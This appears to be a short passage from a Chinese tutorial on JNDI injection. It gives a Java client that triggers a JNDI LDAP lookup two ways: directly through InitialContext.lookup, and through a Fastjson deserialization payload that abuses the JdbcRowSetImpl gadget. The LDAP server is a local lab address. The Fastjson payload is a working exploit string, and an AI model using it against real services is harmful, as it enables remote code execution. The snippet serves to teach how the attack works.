客户端代码,这里有两种触发方式,一种lookup,还有一种fastjson
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import com.alibaba.fastjson.JSON; import javax.naming.Context; import javax.naming.InitialContext; public class JNDIGadgetClient { public static void main (String[] args) throws Exception { Context context = new InitialContext (); context.lookup("ldap://localhost:1234/ExportObject" ); String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }" ; JSON.parse(payload); } }